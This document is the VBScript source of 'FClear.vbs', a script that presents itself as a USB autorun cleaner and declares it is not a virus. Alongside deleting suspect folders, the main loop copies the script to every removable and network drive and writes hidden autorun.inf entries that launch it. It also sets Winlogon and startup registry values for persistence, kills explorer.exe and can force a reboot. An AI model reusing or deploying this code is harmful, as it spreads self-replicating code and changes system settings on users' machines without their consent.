1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
| '******************** **********************
Option Explicit
'******************** It's NOT VIRUS.********************
const FolExist = 112 '
const FilExist = 113 '
const file_ = ":\auto"
const path = "run.inf"
const FClear_path = ":\FClear.vbs"
const Expl_ = "\explorer.exe "
const Auto = "[Auto"
const R = "Run]"
const Removable = 1
const Fixed = 2
const Network = 3
const ForWriting = 2
const FoldSamp_ = 7
const scrip_ = "shellexecute = "
const scrip_vbs = "\system32\wscript.exe "
const reg_indx_ = 3
const attrib_ = "attrib +s +r +h "'
const COMSP_ = "%COMSPEC% /c "
'
const task_cr_ = "tasklist > "
'
Dim file_1,file_2
Dim fso
Dim dsk
Dim Disk
Dim x
Dim i
Dim fold_path(7)
'
Dim reg_key_r(4)
Dim reg_val_r(4)
'
Dim WshShell
Dim reg_path,reg_val,reg_path_auth,reg_val_auth,reg_mount
Dim ExpEnv,ExpEnvSD
'***********************
Set WshShell= WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")'
Set dsk = fso.Drives
'
fold_path(0)=":\RECYCLER"
fold_path(1)=":\RECYCLED"
fold_path(2)=":\SYSTEM VOLUME INFORMATION"
fold_path(3)=":\RECYCLE"
fold_path(4)=":\SLATKO"
fold_path(5)=":\BIGDADDY"
fold_path(6)=":\DOBRERIBE"
fold_path(7)=":\TTHDHGC"
file_1 = WScript.ScriptFullName
file_2 = ":\FClear.vbs" '
'
'x
x = 0
'x
'
ExpEnv = WshShell.ExpandEnvironmentStrings("%WINDIR%")
ExpEnvSD = WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%")& "\"
'
reg_path = "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load"
reg_val = ExpEnvSD & "FClear.vbs"
reg_path_auth = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf\"
reg_val_auth = "@SYS:DoesNotExist"
reg_mount = "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\"
'================================================
const reg_Reeb ="HKEY_CURRENT_USER\SOFTWARE\FClear\"
const Reeb_ = "Reeb"
const reg_WL = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"
const reg_U_WL = "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"
const reg_EX = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\"
const reg_U_EX ="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\"
reg_key_r(0) = "System"
reg_key_r(1) = "Userinit"
reg_key_r(2) = "Taskman"
reg_key_r(3) = "Shell"
'
'
reg_val_r(0) = ""
reg_val_r(1) = ExpEnv & "\system32\" & "userinit.exe,"
reg_val_r(2) = ""
reg_val_r(3) = "Explorer.exe"' & ,
'
'================================================
'
'
Function WinVer'
Dim ObjEnv
Set ObjEnv = WshShell.Environment("Process") '
if ObjEnv("OS") = "Windows_NT" Then
WinVer = True
Else
WinVer = False
End If
End Function
'
'
'
'
Sub SerchChekFNDrive
On Error Resume Next
Dim d
For Each d in dsk '
If (d.DriveType = Fixed)or(d.DriveType = Network) then '
'
Select Case ChekSuspExist(empty, d.DriveLetter & file_ & path)'
'Case True
' if DelSuspFile(d.DriveLetter & file_ & path)=false then
' Call ResExpl
' DelSuspFile(d.DriveLetter & file_ & path)
' end if
' if (d.DriveType = Network) then 'пытаемся удалять с сетевых
' Call CreateAutoru_(d.DriveLetter & file_ & path,d.DriveLetter)''Создаем файл на диске
' Call CopyFClear(file_1, d.DriveLetter & file_2) 'Копируем FClear
' Call InstallAttrib(COMSP_ & attrib_ & d.DriveLetter & file_ & path & "&&" & attrib_ & d.DriveLetter & FClear_path)
'end if
Case FilExist
DelSuspFile(d.DriveLetter & file_ & path)
if (d.DriveType = Network) then
Call CopyLink("FClear.lnk",d.DriveLetter & ":\FClear.lnk")
Call CreateAutoru_(d.DriveLetter & file_ & path,d.DriveLetter)'
Call CopyFClear(file_1, d.DriveLetter & file_2) 'Копируем FClear
Call InstallAttrib(COMSP_ & attrib_ & d.DriveLetter & file_ & path & "&&" & attrib_ & d.DriveLetter & FClear_path)
end if
Case Else
'Call WScript.Echo("Suspicious Object not foud in : " & d.DriveLetter )' info
if (d.DriveType = Network) then
Call CopyLink("FClear.lnk",d.DriveLetter & ":\FClear.lnk")
Call CreateAutoru_(d.DriveLetter & file_& path,d.DriveLetter)'
Call CopyFClear(file_1, d.DriveLetter & file_2) 'Копируем FClear
Call InstallAttrib(COMSP_ & attrib_ & d.DriveLetter & file_ & path & "&&" & attrib_ &d.DriveLetter & FClear_path)
end if
End Select
'
End If
Next
End Sub
'==========================================================
'
'==========================================================
'
Sub SerchRemDrive '
On Error Resume Next
Dim d
If x=0 Then '
For Each d in dsk
If (d.DriveType = Removable)and(d.DriveLetter <> "A") then
if (CapInf(d.DriveLetter )=true)then
x=1 '
Disk = d.DriveLetter '
end if
End If
Next
'
Elseif FlagX =1 then '
x=x + 1 '
Exit Sub
elseif FlagX = 0 then '
x = 0 '
Exit Sub
End If
''''
End Sub
''''
function CapInf(Disk_c)
On Error Resume Next '
Dim oDrive
'Dim DskCapa
Dim DskFree
'
'Call WScript.Echo("in_Cap")'info
CapInf = true
'
Set oDrive = fso.GetDrive(Disk_c)
DskFree = oDrive.FreeSpace
If (Err.number<>0) or (DskFree=0)then
'Call WScript.Echo("inERROR_Cap")'info
CapInf = false
exit function
end if
'Call WScript.Echo("Removable Disk : " & Disk_c & vbCrLf & DskFree)
'CapInf = true
End function
'
'
Function FlagX
On Error Resume Next '
Dim d
'
FlagX = 0 '
'
For Each d in dsk
If (d.DriveType = Removable)and(d.DriveLetter <> "A") then FlagX = 1
Next
'
End Function
'====================================================
'
'
'====================================================
Function ChekSuspExist(fold_path,file_path)'
On Error Resume Next '
ChekSuspExist = false
'Call WScript.Echo("folder " & fold_path)
If (fso.FolderExists(fold_path)) and (fso.FileExists(file_path)) then
'Call WScript.Echo("Suspicious objects here " & fold_path)'info
ChekSuspExist=true
Exit Function
Elseif fso.FolderExists(fold_path)then
ChekSuspExist=FolExist
'Call WScript.Echo("Suspicious folder here")'info
Exit Function
Elseif fso.FileExists(file_path)then
ChekSuspExist=FilExist
'Call WScript.Echo("Suspicious file here")'info
Exit Function
End IF
End Function
'
'
Function DelSuspFold(fold_path)
On Error Resume Next '
'
Call fso.DeleteFolder(fold_path,True)
If Err.number<>0 then
'Call WScript.Echo("Error on Delete folder : " & Err.number ) 'info
DelSuspFold = False
Else
DelSuspFold = True
End If
'
End Function
'
'
Function DelSuspFile(file_path)
On Error Resume Next '
'
Call fso.DeleteFile(file_path,True)
If Err.number<>0 then
'Call WScript.Echo("Error on Delete file : " & Err.number )
DelSuspFile = False
Else
DelSuspFile = True
End If
End Function
'
'''''''''''''''
Function CopyLink(linkF,linkFN)
On Error Resume Next '
Dim oFile
CopyLink = False
if fso.FileExists(GetDiskPath & linkF)Then
Set oFile = fso.GetFile(linkF)'
Call oFile.Copy(linkFN,true)
CopyLink = True
end if
End Function
'=========================================
'
'
Function CreateAutoru_(file_path,disk_name)'
On ERROR resume NEXT'
Dim AutoStWrite'
'
Set AutoStWrite = fso.OpenTextFile(file_path, ForWriting,True)'
'
If Err.Number <> 0 Then
'Call WScript.Echo("Error Create Autorun on:" & disk_name)'info
CreateAutoru_ = false
Else
Call AutoStWrite.WriteLine (Auto & R) '_?
Call AutoStWrite.WriteLine (scrip_ & "FClear.vbs " & "\it's not virus") '
Set AutoStWrite = Nothing
'Call WScript.Echo("Create Autorun succes on:" & disk_name)
CreateAutoru_ = True
End If
End Function
'
'
'
Function CopyFClear(file_1,file_2)
On Error Resume Next '
Dim oFile
Set oFile = fso.GetFile(file_1)'
Call oFile.Copy(file_2,True)'
If Err.number<>0 Then
'Call WScript.Echo("Cant Copy File : " & file_1 & "on Disk" )'
CopyFClear = False
End If
CopyFClear = True
'Call WScript.Echo("Copy File succes on Disk : " & file_1 )'
End Function
'
'
'
Function InstallAttrib(file_attr_)
On Error Resume Next '
Call WshShell.Run(file_attr_ ,false, true) '
End Function
Function TaskL(task_l) '
On Error Resume Next '
Call WshShell.Run(task_l,false,true) '
If Err.Number <> 0 Then
'Call WScript.Echo("Error tasklist create install :" & Err.Number )
TaskL = false '
Else
'Call WScript.Echo("task list create in task.fcl :")
TaskL = True
End If
End Function
'
'
Function ReadSizeFile(filename)
On Error Resume Next '
Dim f
Set f = fso.GetFile(filename)
ReadSizeFile = f.size
'Call WScript.Echo(" size = " & s)
End Function
'==============================================
'
'==============================================
'
'
Function RegValEx(reg_path,reg_val)
On Error Resume Next '
'
dim reg_vf
reg_vf = WshShell.RegRead(reg_path)
if (Err.Number <> 0) then
RegValEx = reg_indx_ '
'Call WScript.Echo("RegValEx key empty "& reg_path )
'Call WScript.Echo("RegValEx value empty "& reg_val )
exit function
elseif(reg_vf = reg_val)then
RegValEx = true
'Call WScript.Echo("RegValEx key true "& reg_path )
'Call WScript.Echo("RegValEx key true "& reg_val )
exit function
elseif(reg_vf <> reg_val)then
RegValEx = False '
'Call WScript.Echo("RegValEx false "& reg_path,reg_val)
end if
End Function
Function RegValWrite(reg_path,reg_val)
On Error Resume Next '
'
'Call WScript.Echo(" In RegValWrite " & reg_path & " " & reg_val) 'info
RegValWrite = true
Call WshShell.RegWrite (reg_path,reg_val,"REG_SZ")
'
If Err.Number <> 0 Then
' Call WScript.Echo("Error create value in regestry: " & reg_path & " " & reg_val & Err.Number)'info
RegValWrite = false '
End If
End Function
'
Function RegValDel(reg_path)
On Error Resume Next '
Call WshShell.RegDelete(reg_path)
If Err.Number <> 0 Then
RegValDel = false
Else RegValDel = true
End If
End Function
Function RegReebVal
On Error Resume Next
Dim R
'Call WScript.Echo(" In RegReebVal: " )
R = WshShell.RegRead(reg_Reeb & Reeb_)
if Err.Number <> 0 Then
Call WshShell.RegWrite(reg_Reeb ,"")
Call WshShell.RegWrite(reg_Reeb & Reeb_ ,0,"REG_DWORD")
end if
'
If R =1 Then
RegReebVal = false
Exit Function
Else
R=R+1
Call WshShell.RegWrite(reg_Reeb & Reeb_,R,"REG_DWORD")
RegReebVal = true
End If
'Call WScript.Echo(" RegReebVal = " & RegReebVal )
End Function
'+++++++++++++++++++++++++++
Function Chek_Reg
Dim i
Dim x
x=0
Chek_Reg =true
'
Call RegValDel(reg_mount)
if (RegValEx(reg_U_WL & reg_key_r(reg_indx_),reg_val_r(reg_indx_))= false) then
if RegValWrite(reg_U_WL & reg_key_r(reg_indx_),reg_val_r(reg_indx_))= false then
x=-10
else
x=x+1
end if
end if
'''''''''''''''''''''''''''''''''33333333333''''''''''''''''''''''''''''''''''
if RegValDel(reg_EX)=true then x=x+1
If RegValDel(reg_U_EX)=true then x=x+1
'
'
for i=0 to reg_indx_
if (RegValEx(reg_WL & reg_key_r(i),reg_val_r(i))= false) then
if RegValWrite(reg_WL & reg_key_r(i),reg_val_r(i))=false then
x=-10
else
x=x+1
end if
end if
next
'
if (x>0) and (RegReebVal = true) then
Chek_Reg =false
else
Chek_Reg =true
end if
'
'Call WScript.Echo(" In Chek_Reg: " & Chek_Reg) 'info
'Call WScript.Echo(" In Chek_Reg: x = " & x) 'info
End Function
'===============================================
'===============================================
Function SearhPros
On Error Resume Next '
Dim PList
Dim list
Dim x
Set PList = fso.OpenTextFile(ExpEnvSD & "task.fcl")
x=0
Do While not(PList.atEndOfStream)'
list = PList.ReadLine
if (InStr(list,"wscript.exe") <> 0) then x=x+1
Loop
If x>1 then
SearhPros = true
'Call WScript.Echo(" FClear is run, exit " )
Exit Function
End If
SearhPros = false
End Function
'=============================================
'
'=============================================
Function Args
On Error Resume Next
Dim ObjArgs,i
Set ObjArgs = WSCript.Arguments '
for i=0 to ObjArgs.Count - 1
Args = ObjArgs.Item(i)
next
'Call WScript.Echo(" arguments : " & Args)
End Function
'=============================================
'
'=============================================
Function GetDiskPath
On Error Resume Next
GetDiskPath = Left( file_1,InStrRev(file_1,":")) & "\"
If Err.Number <> 0 Then GetDiskPath = False
'Call WSCript.Echo("GetDiskPath : " & GetDiskPath)'info
End Function
'=========================================
'
'=========================================
Function RunExpl
On Error Resume Next
'Call WScript.Echo("In RunExpl")
Call WshShell.Run( ExpEnv & "\explorer.exe " & GetDiskPath ) '
'Call WScript.Echo(Args() & GetDiskPath)
End Function
'
'
Function ResExpl
On Error Resume Next
'Call WScript.Echo("In ")
Call WshShell.Run(COMSP_ & " taskkill /IM explorer.exe /F") '
DelSuspFile(Disk & file_ & path) '
If Err.Number <> 0 Then
ResExpl=false
'Call WshShell.Run("%WINDIR%" & "\explorer.exe " ,0,false )
else ResExpl=true
End If
if (Chek_Reg=false) then
Call MsgBox("System need to be RESTART, please save your not saving data and press 'OK'" & vbCrLf &_
vbCrLf & "Система будет ПЕРЕЗАГРУЖЕНА, сохраните не сохраненные данные и нажмите 'OK' ",0, "WARNING!" )
Call WshShell.Run("%WINDIR%" & "\system32\rundll32 IUENGINE.dll, EngRebootMachine",0,true )
else
reg_val = ""
Call WshShell.Run("%WINDIR%" & "\explorer.exe " ,0,false )
DelSuspFile(ExpEnvSD & "FClear.lnk")
DelSuspFile(ExpEnvSD & "FClear.vbs")
'ExpEnvSD
end if
End Function
'*****************************************
'START
If WinVer = false Then WScript.Quit '
'
'If RegValEx(reg_path,reg_val)<> True Then Call RegValWrite(reg_path,reg_val)'
'
'If TaskL(COMSP_ & task_cr_ & ExpEnvSD & "task.fcl" ) Then '
'if SearhPros then WScript.Quit
'End If
'
if Args <> Empty Then
Call RunExpl
Call CopyLink("FClear.lnk",ExpEnvSD & "FClear.lnk")
end if
'
'
If TaskL(COMSP_ & task_cr_ & ExpEnvSD & "task.fcl" )= False Then '
WScript.Quit
Elseif SearhPros then WScript.Quit
End If
'
Call RegValWrite(reg_path_auth,"")'
Call RegValWrite(reg_path_auth,reg_val_auth)
'
'if RegValEx(reg_mount,"")then Call RegValDel(reg_mount)
'
'If RegValEx(reg_path,reg_val)<> True Then Call RegValWrite(reg_path,reg_val)'
'
'
Call SerchChekFNDrive'
'
'
'
Call CopyFClear(file_1,ExpEnvSD & "FClear.vbs" )'
Call InstallAttrib(COMSP_ & attrib_ & ExpEnvSD & "FClear.vbs")'
'
Do While (True)
WScript.Sleep 1000 '
'Call WScript.Echo("in z")' info
If RegValEx(reg_path,reg_val)<> True Then Call RegValWrite(reg_path,reg_val)'
Call SerchRemDrive
If x=1 then
For i=0 to FoldSamp_
Select Case ChekSuspExist(Disk & fold_path(i),Disk & file_ & path)
Case True
DelSuspFold(Disk & fold_path(i))
if DelSuspFile(Disk & file_ & path)=false then
Call ResExpl
'DelSuspFile(Disk & file_ & path)
end if
Call CopyLink("FClear.lnk",Disk & ":\FClear.lnk")
Call CreateAutoru_(Disk & file_ & path,Disk)''
Call CopyFClear(file_1,Disk & file_2) '
Call InstallAttrib(COMSP_ & attrib_ & Disk & file_ & path & "&&" & attrib_ & Disk & FClear_path)
'Call CrShotC(Disk)
Case FolExist
DelSuspFold(Disk & fold_path(i))
Call CopyLink("FClear.lnk",Disk & ":\FClear.lnk")
Call CreateAutoru_(Disk & file_ & path,Disk)''
Call CopyFClear(file_1,Disk & file_2) '
Call InstallAttrib(COMSP_ & attrib_ & Disk & file_ & path & "&&" & attrib_ & Disk & FClear_path)
'Call CrShotC(Disk)
Case FilExist
if (ReadSizeFile(Disk & file_ & path)<>54) then '''''''''''
if DelSuspFile(Disk & file_ & path)=false then
Call ResExpl
'DelSuspFile(Disk & file_ & path)
end if
Call CopyLink("FClear.lnk",Disk & ":\FClear.lnk")
Call CreateAutoru_(Disk & file_ & path,Disk)''
Call CopyFClear(file_1,Disk & file_2) '
Call InstallAttrib(COMSP_ & attrib_ & Disk & file_ & path & "&&" & attrib_ & Disk & FClear_path)
'Call CrShotC(Disk)
end if '''''''''''
Case else
'Call WScript.Echo("Suspicious Object not foud in : " & Disk ) 'info
Call CopyLink("FClear.lnk",Disk & ":\FClear.lnk")
Call CreateAutoru_(Disk & file_ & path,Disk)''
Call CopyFClear(file_1,Disk & file_2) '
Call InstallAttrib(COMSP_ & attrib_ & Disk & file_ & path & "&&" & attrib_ & Disk & FClear_path)
'Call CrShotC(Disk)
End Select
Next
End If
'
If (x>1)and (ReadSizeFile(Disk & file_ & path)<>54 and ReadSizeFile(Disk & file_ & path)<>0) then
WScript.Sleep 1500
DelSuspFile(Disk & file_ & path)
Call CreateAutoru_(Disk & file_ & path,Disk)''
Call InstallAttrib(COMSP_ & attrib_ & Disk & file_ & path)
End if
Loop |